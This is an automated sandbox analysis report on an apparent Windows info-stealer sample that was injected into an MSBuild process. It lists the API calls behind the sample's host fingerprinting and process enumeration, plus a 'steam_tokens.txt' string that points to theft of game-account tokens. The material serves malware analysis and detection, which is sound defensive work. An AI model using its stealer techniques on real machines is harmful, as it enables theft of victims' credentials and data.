
Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000002.00000002.2787729970.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000002.00000002.2787713562.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787923439.000000006CB5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787942087.000000006CB62000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cad0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,013956A0,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,013956A0,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,01395800,00000000,?,00420E24,00000000,?,00000000,00000000,?,013960D8,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,01390C30,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,013955C0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01396078,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01396078,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(01380598,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,01393520,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3820780155-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

